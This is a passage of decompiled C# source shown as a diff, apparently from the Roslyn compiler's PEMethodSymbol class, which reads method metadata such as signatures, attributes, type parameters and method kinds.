+ get + { + if (!_containingType.IsInterface && IsMetadataVirtual() && !IsDestructor) + { + if (IsMetadataNewSlot() || (object)_containingType.BaseTypeNoUseSiteDiagnostics == null) + { + return IsExplicitClassOverride; + } + return true; + } + return false; + } + } + + public override bool IsStatic => HasFlag(MethodAttributes.Static); + + internal override bool IsMetadataFinal => HasFlag(MethodAttributes.Final); + + private bool IsExplicitFinalizerOverride + { + get + { + if (!_packedFlags.IsExplicitOverrideIsPopulated) + { + _ = ExplicitInterfaceImplementations; + } + return _packedFlags.IsExplicitFinalizerOverride; + } + } + + private bool IsExplicitClassOverride + { + get + { + if (!_packedFlags.IsExplicitOverrideIsPopulated) + { + _ = ExplicitInterfaceImplementations; + } + return _packedFlags.IsExplicitClassOverride; + } + } + + private bool IsDestructor => (int)MethodKind == 4; + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + internal override int ParameterCount + { + get + { + if (_lazySignature != null) + { + return _lazySignature.Parameters.Length; + } + try + { + int result = default(int); + int num = default(int); + MetadataDecoder.GetSignatureCountsOrThrow(_containingType.ContainingPEModule.Module, _handle, ref result, ref num); + return result; + } + catch (BadImageFormatException) + { + return Parameters.Length; + } + } + } + + public override ImmutableArray Parameters => Signature.Parameters; + + internal PEParameterSymbol ReturnTypeParameter => Signature.ReturnParam; + + public override RefKind RefKind => Signature.ReturnParam.RefKind; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => Signature.ReturnParam.TypeWithAnnotations; + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => Signature.ReturnParam.FlowAnalysisAnnotations; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => Signature.ReturnParam.NotNullIfParameterNotNull; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations + { + get + { + if (!_packedFlags.IsDoesNotReturnPopulated) + { + bool value = _containingType.ContainingPEModule.Module.HasDoesNotReturnAttribute((EntityHandle)_handle); + _packedFlags.InitializeDoesNotReturn(value); + } + if (!_packedFlags.DoesNotReturn) + { + return FlowAnalysisAnnotations.None; + } + return FlowAnalysisAnnotations.DoesNotReturn; + } + } + + internal override ImmutableArray NotNullMembers + { + get + { + if (!_packedFlags.IsMemberNotNullPopulated) + { + PopulateMemberNotNullData(); + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return ImmutableArray.Empty; + } + ImmutableArray lazyNotNullMembers = uncommonFields._lazyNotNullMembers; + if (!lazyNotNullMembers.IsDefault) + { + return lazyNotNullMembers; + } + return ImmutableArray.Empty; + } + } + + internal override ImmutableArray NotNullWhenTrueMembers + { + get + { + if (!_packedFlags.IsMemberNotNullPopulated) + { + PopulateMemberNotNullData(); + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return ImmutableArray.Empty; + } + ImmutableArray lazyNotNullMembersWhenTrue = uncommonFields._lazyNotNullMembersWhenTrue; + if (!lazyNotNullMembersWhenTrue.IsDefault) + { + return lazyNotNullMembersWhenTrue; + } + return ImmutableArray.Empty; + } + } + + internal override ImmutableArray NotNullWhenFalseMembers + { + get + { + if (!_packedFlags.IsMemberNotNullPopulated) + { + PopulateMemberNotNullData(); + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return ImmutableArray.Empty; + } + ImmutableArray lazyNotNullMembersWhenFalse = uncommonFields._lazyNotNullMembersWhenFalse; + if (!lazyNotNullMembersWhenFalse.IsDefault) + { + return lazyNotNullMembersWhenFalse; + } + return ImmutableArray.Empty; + } + } + + public override ImmutableArray RefCustomModifiers => Signature.ReturnParam.RefCustomModifiers; + + internal SignatureData Signature => _lazySignature ?? LoadSignature(); + + public override ImmutableArray TypeParameters + { + get + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = null; + ImmutableArray result = EnsureTypeParametersAreLoaded(ref diagnosticInfo); + if (diagnosticInfo != null) + { + InitializeUseSiteDiagnostic(new UseSiteInfo(diagnosticInfo)); + } + return result; + } + } + + public override ImmutableArray TypeArgumentsWithAnnotations + { + get + { + if (!IsGenericMethod) + { + return ImmutableArray.Empty; + } + return GetTypeParametersAsTypeArguments(); + } + } + + public override Symbol AssociatedSymbol => _associatedPropertyOrEventOpt; + + public override bool IsExtensionMethod + { + get + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + if (!_packedFlags.IsExtensionMethodIsPopulated) + { + bool isExtensionMethod = false; + if ((int)MethodKind == 10 && IsValidExtensionMethodSignature() && ContainingType.MightContainExtensionMethods) + { + isExtensionMethod = _containingType.ContainingPEModule.Module.HasExtensionAttribute((EntityHandle)_handle, false); + } + _packedFlags.InitializeIsExtensionMethod(isExtensionMethod); + } + return _packedFlags.IsExtensionMethod; + } + } + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(_containingType.ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override MethodKind MethodKind + { + get + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.MethodKindIsPopulated) + { + _packedFlags.InitializeMethodKind(ComputeMethodKind()); + } + return _packedFlags.MethodKind; + } + } + + internal override CallingConvention CallingConvention => (CallingConvention)Signature.Header.RawValue; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Invalid comparison between Unknown and I4 + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + ImmutableArray lazyExplicitMethodImplementations = _lazyExplicitMethodImplementations; + if (!lazyExplicitMethodImplementations.IsDefault) + { + return lazyExplicitMethodImplementations; + } + ImmutableArray explicitlyOverriddenMethods = ((MetadataDecoder)new MetadataDecoder(_containingType.ContainingPEModule, _containingType)).GetExplicitlyOverriddenMethods(_containingType.Handle, _handle, (TypeSymbol)ContainingType); + bool flag = false; + bool flag2 = false; + ImmutableArray.Enumerator enumerator = explicitlyOverriddenMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (!current.ContainingType.IsInterface) + { + flag = true; + flag2 = (int)current.ContainingType.SpecialType == 1 && current.Name == "Finalize" && (int)current.MethodKind == 4; + } + if (flag && flag2) + { + break; + } + } + lazyExplicitMethodImplementations = explicitlyOverriddenMethods; + if (flag) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + enumerator = explicitlyOverriddenMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current2 = enumerator.Current; + if (current2.ContainingType.IsInterface) + { + instance.Add(current2); + } + } + lazyExplicitMethodImplementations = instance.ToImmutableAndFree(); + MethodSymbol methodSymbol = null; + enumerator = explicitlyOverriddenMethods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current3 = enumerator.Current; + if (current3.ContainingType.IsClassType()) + { + if ((object)methodSymbol != null) + { + methodSymbol = null; + break; + } + methodSymbol = current3; + } + } + if ((object)methodSymbol != null) + { + Interlocked.CompareExchange(ref AccessUncommonFields()._lazyExplicitClassOverride, methodSymbol, null); + } + } + _packedFlags.InitializeIsExplicitOverride(flag2, flag); + return InterlockedOperations.Initialize(ref _lazyExplicitMethodImplementations, lazyExplicitMethodImplementations); + } + } + + internal MethodSymbol ExplicitlyOverriddenClassMethod + { + get + { + if (!IsExplicitClassOverride) + { + return null; + } + return AccessUncommonFields()._lazyExplicitClassOverride; + } + } + + internal override bool IsDeclaredReadOnly + { + get + { + if (!_packedFlags.IsReadOnlyPopulated) + { + bool isReadOnly = false; + if (base.IsValidReadOnlyTarget) + { + isReadOnly = _containingType.ContainingPEModule.Module.HasIsReadOnlyAttribute((EntityHandle)_handle); + } + _packedFlags.InitializeIsReadOnly(isReadOnly); + } + return _packedFlags.IsReadOnly; + } + } + + internal override bool IsInitOnly + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + if (!_packedFlags.IsInitOnlyPopulated) + { + bool isInitOnly = !IsStatic && (int)MethodKind == 12 && ReturnTypeWithAnnotations.CustomModifiers.HasIsExternalInitModifier(); + _packedFlags.InitializeIsInitOnly(isInitOnly); + } + return _packedFlags.IsInitOnly; + } + } + + protected override bool HasSetsRequiredMembersImpl + { + get + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.HasSetsRequiredMembersPopulated) + { + bool value = _containingType.ContainingPEModule.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.SetsRequiredMembersAttribute); + _packedFlags.InitializeSetsRequiredMembersBit(value); + } + return _packedFlags.HasSetsRequiredMembers; + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + if (!_packedFlags.IsObsoleteAttributePopulated) + { + ObsoleteAttributeData val = ObsoleteAttributeHelpers.GetObsoleteDataFromMetadata(_handle, (PEModuleSymbol)ContainingModule, ignoreByRefLikeMarker: false, (int)MethodKind == 1); + if (val != null) + { + val = InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyObsoleteAttributeData, val, ObsoleteAttributeData.Uninitialized); + } + _packedFlags.SetIsObsoleteAttributePopulated(); + return val; + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return null; + } + ObsoleteAttributeData lazyObsoleteAttributeData = uncommonFields._lazyObsoleteAttributeData; + if (lazyObsoleteAttributeData != ObsoleteAttributeData.Uninitialized) + { + return lazyObsoleteAttributeData; + } + return InterlockedOperations.Initialize(ref uncommonFields._lazyObsoleteAttributeData, (ObsoleteAttributeData)null, ObsoleteAttributeData.Uninitialized); + } + } + + internal override bool GenerateDebugInfo => false; + + internal override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (!_packedFlags.IsOverriddenOrHiddenMembersPopulated) + { + OverriddenOrHiddenMembersResult overriddenOrHiddenMembersResult = base.OverriddenOrHiddenMembers; + if (overriddenOrHiddenMembersResult != OverriddenOrHiddenMembersResult.Empty) + { + overriddenOrHiddenMembersResult = InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyOverriddenOrHiddenMembersResult, overriddenOrHiddenMembersResult); + } + _packedFlags.SetIsOverriddenOrHiddenMembersPopulated(); + return overriddenOrHiddenMembersResult; + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return OverriddenOrHiddenMembersResult.Empty; + } + return uncommonFields._lazyOverriddenOrHiddenMembersResult ?? InterlockedOperations.Initialize(ref uncommonFields._lazyOverriddenOrHiddenMembersResult, OverriddenOrHiddenMembersResult.Empty); + } + } + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1625); + } + } + + internal override CSharpCompilation DeclaringCompilation => null; + + internal bool TestIsExtensionBitSet => _packedFlags.IsExtensionMethodIsPopulated; + + internal bool TestIsExtensionBitTrue => _packedFlags.IsExtensionMethod; + + internal sealed override bool HasUnscopedRefAttribute + { + get + { + if (!_packedFlags.IsUnscopedRefPopulated) + { + bool value = _containingType.ContainingPEModule.Module.HasUnscopedRefAttribute((EntityHandle)_handle); + _packedFlags.InitializeIsUnscopedRef(value); + } + return _packedFlags.IsUnscopedRef; + } + } + + internal sealed override bool UseUpdatedEscapeRules => ContainingModule.UseUpdatedEscapeRules; + + private UncommonFields CreateUncommonFields() + { + UncommonFields uncommonFields = new UncommonFields(); + if (!_packedFlags.IsObsoleteAttributePopulated) + { + uncommonFields._lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + } + if (!_packedFlags.IsUnmanagedCallersOnlyAttributePopulated) + { + uncommonFields._lazyUnmanagedCallersOnlyAttributeData = UnmanagedCallersOnlyAttributeData.Uninitialized; + } + if (_packedFlags.IsCustomAttributesPopulated) + { + uncommonFields._lazyCustomAttributes = ImmutableArray.Empty; + } + if (_packedFlags.IsConditionalPopulated) + { + uncommonFields._lazyConditionalAttributeSymbols = ImmutableArray.Empty; + } + if (_packedFlags.IsOverriddenOrHiddenMembersPopulated) + { + uncommonFields._lazyOverriddenOrHiddenMembersResult = OverriddenOrHiddenMembersResult.Empty; + } + if (_packedFlags.IsMemberNotNullPopulated) + { + uncommonFields._lazyNotNullMembers = ImmutableArray.Empty; + uncommonFields._lazyNotNullMembersWhenTrue = ImmutableArray.Empty; + uncommonFields._lazyNotNullMembersWhenFalse = ImmutableArray.Empty; + } + if (_packedFlags.IsExplicitOverrideIsPopulated) + { + uncommonFields._lazyExplicitClassOverride = null; + } + return uncommonFields; + } + + private UncommonFields AccessUncommonFields() + { + return _uncommonFields ?? InterlockedOperations.Initialize(ref _uncommonFields, CreateUncommonFields()); + } + + internal PEMethodSymbol(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, MethodDefinitionHandle methodDef) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + _handle = methodDef; + _containingType = containingType; + MethodAttributes methodAttributes = MethodAttributes.PrivateScope; + try + { + MethodImplAttributes methodImplAttributes = default(MethodImplAttributes); + int num = default(int); + moduleSymbol.Module.GetMethodDefPropsOrThrow(methodDef, ref _name, ref methodImplAttributes, ref methodAttributes, ref num); + _implFlags = (ushort)methodImplAttributes; + } + catch (BadImageFormatException) + { + if (_name == null) + { + _name = string.Empty; + } + InitializeUseSiteDiagnostic(new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + _flags = (ushort)methodAttributes; + } + + internal override bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + thisParameter = (IsStatic ? null : (_uncommonFields?._lazyThisParameter ?? InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyThisParameter, (ParameterSymbol)new ThisParameterSymbol(this)))); + return true; + } + + private bool HasFlag(MethodAttributes flag) + { + return ((ushort)flag & _flags) != 0; + } + + public override DllImportData GetDllImportData() + { + if (!HasFlag(MethodAttributes.PinvokeImpl)) + { + return null; + } + return _containingType.ContainingPEModule.Module.GetDllImportData(_handle); + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 459); + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return HasFlag(MethodAttributes.Virtual); + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return HasFlag(MethodAttributes.VtableLayoutMask); + } + + private void PopulateMemberNotNullData() + { + PEModule module = _containingType.ContainingPEModule.Module; + ImmutableArray memberNotNullAttributeValues = module.GetMemberNotNullAttributeValues((EntityHandle)_handle); + if (!memberNotNullAttributeValues.IsEmpty) + { + InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyNotNullMembers, memberNotNullAttributeValues); + } + var (immutableArray, immutableArray2) = module.GetMemberNotNullWhenAttributeValues((EntityHandle)_handle); + if (!immutableArray.IsEmpty) + { + InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyNotNullMembersWhenTrue, immutableArray); + } + if (!immutableArray2.IsEmpty) + { + InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyNotNullMembersWhenFalse, immutableArray2); + } + _packedFlags.SetIsMemberNotNullPopulated(); + } + + internal bool SetAssociatedProperty(PEPropertySymbol propertySymbol, MethodKind methodKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return SetAssociatedPropertyOrEvent(propertySymbol, methodKind); + } + + internal bool SetAssociatedEvent(PEEventSymbol eventSymbol, MethodKind methodKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return SetAssociatedPropertyOrEvent(eventSymbol, methodKind); + } + + private bool SetAssociatedPropertyOrEvent(Symbol propertyOrEventSymbol, MethodKind methodKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if ((object)_associatedPropertyOrEventOpt == null) + { + _associatedPropertyOrEventOpt = propertyOrEventSymbol; + _packedFlags.MethodKind = methodKind; + return true; + } + return false; + } + + private SignatureData LoadSignature() + { + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + SignatureHeader header = default(SignatureHeader); + BadImageFormatException ex = default(BadImageFormatException); + ParamInfo[] signatureForMethod = ((MetadataDecoder)new MetadataDecoder(containingPEModule, this)).GetSignatureForMethod(_handle, ref header, ref ex, true); + bool flag = ex != null; + if (!header.IsGeneric && _lazyTypeParameters.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyTypeParameters, ImmutableArray.Empty); + } + int num = signatureForMethod.Length - 1; + bool isBad; + ImmutableArray parameters; + if (num > 0) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(num); + for (int i = 0; i < num; i++) + { + builder.Add(PEParameterSymbol.Create(containingPEModule, this, IsMetadataVirtual(), i, signatureForMethod[i + 1], this, isReturn: false, out isBad)); + if (isBad) + { + flag = true; + } + } + parameters = builder.ToImmutable(); + } + else + { + parameters = ImmutableArray.Empty; + } + TypeSymbol type = signatureForMethod[0].Type.AsDynamicIfNoPia(_containingType); + signatureForMethod[0].Type = type; + PEParameterSymbol returnParam = PEParameterSymbol.Create(containingPEModule, this, IsMetadataVirtual(), 0, signatureForMethod[0], this, isReturn: true, out isBad); + if (flag || isBad) + { + InitializeUseSiteDiagnostic(new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + SignatureData signatureData = new SignatureData(header, parameters, returnParam); + return InterlockedOperations.Initialize(ref _lazySignature, signatureData); + } + + private ImmutableArray EnsureTypeParametersAreLoaded(ref DiagnosticInfo diagnosticInfo) + { + ImmutableArray lazyTypeParameters = _lazyTypeParameters; + if (!lazyTypeParameters.IsDefault) + { + return lazyTypeParameters; + } + return InterlockedOperations.Initialize(ref _lazyTypeParameters, LoadTypeParameters(ref diagnosticInfo)); + } + + private ImmutableArray LoadTypeParameters(ref DiagnosticInfo diagnosticInfo) + { + try + { + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + GenericParameterHandleCollection genericParametersForMethodOrThrow = containingPEModule.Module.GetGenericParametersForMethodOrThrow(_handle); + if (genericParametersForMethodOrThrow.Count == 0) + { + return ImmutableArray.Empty; + } + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(genericParametersForMethodOrThrow.Count); + for (int i = 0; i < genericParametersForMethodOrThrow.Count; i++) + { + builder.Add(new PETypeParameterSymbol(containingPEModule, this, (ushort)i, genericParametersForMethodOrThrow[i])); + } + return builder.ToImmutable(); + } + catch (BadImageFormatException) + { + diagnosticInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this); + return ImmutableArray.Empty; + } + } + + public override ImmutableArray GetAttributes() + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.IsCustomAttributesPopulated) + { + ImmutableArray customAttributes = default(ImmutableArray); + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + bool isExtensionMethodIsPopulated = _packedFlags.IsExtensionMethodIsPopulated; + bool num = (isExtensionMethodIsPopulated ? _packedFlags.IsExtensionMethod : ((int)MethodKind == 10 && IsValidExtensionMethodSignature() && _containingType.MightContainExtensionMethods)); + bool isReadOnlyPopulated = _packedFlags.IsReadOnlyPopulated; + bool flag = (isReadOnlyPopulated ? _packedFlags.IsReadOnly : base.IsValidReadOnlyTarget); + bool flag2 = this.ShouldCheckRequiredMembers() && ContainingType.HasAnyRequiredMembers; + bool isExtensionMethod = false; + bool isReadOnly = false; + if (num || flag || flag2) + { + customAttributes = containingPEModule.GetCustomAttributesForToken(_handle, out var filteredOutAttribute, AttributeDescription.CaseSensitiveExtensionAttribute, out var filteredOutAttribute2, AttributeDescription.IsReadOnlyAttribute, out var _, (AttributeDescription)((flag2 && DeriveCompilerFeatureRequiredDiagnostic() == null) ? AttributeDescription.CompilerFeatureRequiredAttribute : default(AttributeDescription)), out var _, (AttributeDescription)((flag2 && ObsoleteAttributeData == null) ? AttributeDescription.ObsoleteAttribute : default(AttributeDescription)), out var _, default(AttributeDescription), out var _, default(AttributeDescription)); + isExtensionMethod = !filteredOutAttribute.IsNil; + isReadOnly = !filteredOutAttribute2.IsNil; + } + else + { + containingPEModule.LoadCustomAttributes(_handle, ref customAttributes); + } + if (!isExtensionMethodIsPopulated) + { + _packedFlags.InitializeIsExtensionMethod(isExtensionMethod); + } + if (!isReadOnlyPopulated) + { + _packedFlags.InitializeIsReadOnly(isReadOnly); + } + if (!customAttributes.IsEmpty) + { + customAttributes = InterlockedOperations.Initialize(ref AccessUncommonFields()._lazyCustomAttributes, customAttributes); + } + _packedFlags.SetIsCustomAttributesPopulated(); + return customAttributes; + } + UncommonFields uncommonFields = _uncommonFields; + if (uncommonFields == null) + { + return ImmutableArray.Empty; + } + ImmutableArray lazyCustomAttributes = uncommonFields._lazyCustomAttributes; + if (!lazyCustomAttributes.IsDefault) + { + return lazyCustomAttributes; + } + return InterlockedOperations.Initialize(ref uncommonFields._lazyCustomAttributes, ImmutableArray.Empty); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return GetAttributes(); + } + + public override ImmutableArray GetReturnTypeAttributes() + { + return Signature.ReturnParam.GetAttributes(); + } + + internal override byte? GetNullableContextValue() + { + if (!_packedFlags.TryGetNullableContext(out var value)) + { + byte value2 = default(byte); + value = (_containingType.ContainingPEModule.Module.HasNullableContextAttribute((EntityHandle)_handle, ref value2) ? new byte?(value2) : _containingType.GetNullableContextValue()); + _packedFlags.SetNullableContext(value); + } + return value; + } + + internal override byte? GetLocalNullableContextValue() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PEMethodSymbol.cs", 1053); + } + + private bool IsValidExtensionMethodSignature() + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + if (!IsStatic) + { + return false; + } + ImmutableArray parameters = Parameters; + if (parameters.Length == 0) + { + return false; + } + ParameterSymbol parameterSymbol = parameters[0]; + RefKind refKind = parameterSymbol.RefKind; + if ((int)refKind <= 1 || refKind - 3 <= 1) + { + return !parameterSymbol.IsParams; + } + return false; + } + + private bool IsValidUserDefinedOperatorSignature(int parameterCount) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Expected I4, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + if (ReturnsVoid || IsGenericMethod || IsVararg || ParameterCount != parameterCount || this.IsParams()) + { + return false; + } + if (base.ParameterRefKinds.IsDefault) + { + return true; + } + ImmutableArray.Enumerator enumerator = base.ParameterRefKinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + RefKind current = enumerator.Current; + switch ((int)current) + { + case 1: + case 2: + case 4: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)current); + case 0: + case 3: + break; + } + } + return true; + } + + private MethodKind ComputeMethodKind() + { + //IL_0590: Unknown result type (might be due to invalid IL or missing references) + //IL_0596: Invalid comparison between Unknown and I4 + //IL_05b1: Unknown result type (might be due to invalid IL or missing references) + //IL_05b7: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Invalid comparison between Unknown and I4 + if (HasSpecialName) + { + if (_name.StartsWith(".", StringComparison.Ordinal)) + { + if ((Flags & (MethodAttributes.Virtual | MethodAttributes.RTSpecialName)) == MethodAttributes.RTSpecialName && _name.Equals(IsStatic ? ".cctor" : ".ctor") && ReturnsVoid && Arity == 0) + { + if (!IsStatic) + { + return (MethodKind)1; + } + if (Parameters.Length == 0) + { + return (MethodKind)14; + } + } + return (MethodKind)10; + } + if (!HasRuntimeSpecialName && IsStatic && (int)DeclaredAccessibility == 6) + { + switch (_name) + { + case "op_CheckedAddition": + case "op_CheckedDivision": + case "op_LessThanOrEqual": + case "op_CheckedMultiply": + case "op_Multiply": + case "op_Equality": + case "op_Addition": + case "op_LessThan": + case "op_Division": + case "op_RightShift": + case "op_BitwiseAnd": + case "op_Inequality": + case "op_LeftShift": + case "op_BitwiseOr": + case "op_ExclusiveOr": + case "op_GreaterThan": + case "op_Subtraction": + case "op_CheckedSubtraction": + case "op_GreaterThanOrEqual": + case "op_UnsignedRightShift": + case "op_Modulus": + if (IsValidUserDefinedOperatorSignature(2)) + { + return (MethodKind)9; + } + return (MethodKind)10; + case "op_LogicalNot": + case "op_Increment": + case "op_UnaryPlus": + case "op_Decrement": + case "op_CheckedDecrement": + case "op_CheckedIncrement": + case "op_False": + case "op_OnesComplement": + case "op_True": + case "op_CheckedUnaryNegation": + case "op_UnaryNegation": + if (IsValidUserDefinedOperatorSignature(1)) + { + return (MethodKind)9; + } + return (MethodKind)10; + case "op_CheckedExplicit": + case "op_Explicit": + case "op_Implicit": + if (IsValidUserDefinedOperatorSignature(1)) + { + return (MethodKind)2; + } + return (MethodKind)10; + default: + return (MethodKind)10; + } + } + } + if (!IsStatic) + { + string name = _name; + if (!(name == "Finalize")) + { + if (name == "Invoke" && (int)_containingType.TypeKind == 3) + { + return (MethodKind)3; + } + } + else if (((int)ContainingType.TypeKind == 2 && this.IsRuntimeFinalizer(skipFirstMethodKindCheck: true)) || IsExplicitFinalizerOverride) + { + return (MethodKind)4; + } + } + if (!SyntaxFacts.IsValidIdentifier(Name) && !ExplicitInterfaceImplementations.IsEmpty) + { + return (MethodKind)8; + } + return (MethodKind)10; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return PEDocumentationCommentUtils.GetDocumentationComment(this, _containingType.ContainingPEModule, preferredCulture, cancellationToken, ref AccessUncommonFields()._lazyDocComment); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.IsUseSiteDiagnosticPopulated) + { + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(base.PrimaryDependency); + CalculateUseSiteDiagnostic(ref result); + DiagnosticInfo result2 = result.DiagnosticInfo; + MergeUseSiteDiagnostics(ref result2, DeriveCompilerFeatureRequiredDiagnostic()); + EnsureTypeParametersAreLoaded(ref result2); + if (result2 == null && _containingType.ContainingPEModule.RefSafetyRulesVersion == PEModuleSymbol.RefSafetyRulesAttributeVersion.UnrecognizedAttribute) + { + result2 = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnrecognizedRefSafetyRulesAttributeVersion, this); + } + if (result2 == null && GetUnmanagedCallersOnlyAttributeData(forceComplete: true) != null && CheckAndReportValidUnmanagedCallersOnlyTarget(null, null)) + { + result2 = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this); + } + if (result2 == null && this.ShouldCheckRequiredMembers() && ContainingType.HasRequiredMembersError) + { + result2 = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_RequiredMembersInvalid, ContainingType); + } + return InitializeUseSiteDiagnostic(result.AdjustDiagnosticInfo(result2)); + } + return GetCachedUseSiteInfo(); + } + + private DiagnosticInfo DeriveCompilerFeatureRequiredDiagnostic() + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + MetadataDecoder decoder = new MetadataDecoder(containingPEModule, this); + DiagnosticInfo val = PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, containingPEModule, Handle, (CompilerFeatureRequiredFeatures)(((int)MethodKind == 1) ? 2 : 0), decoder); + if (val != null) + { + return val; + } + val = Signature.ReturnParam.DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val != null) + { + return val; + } + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) 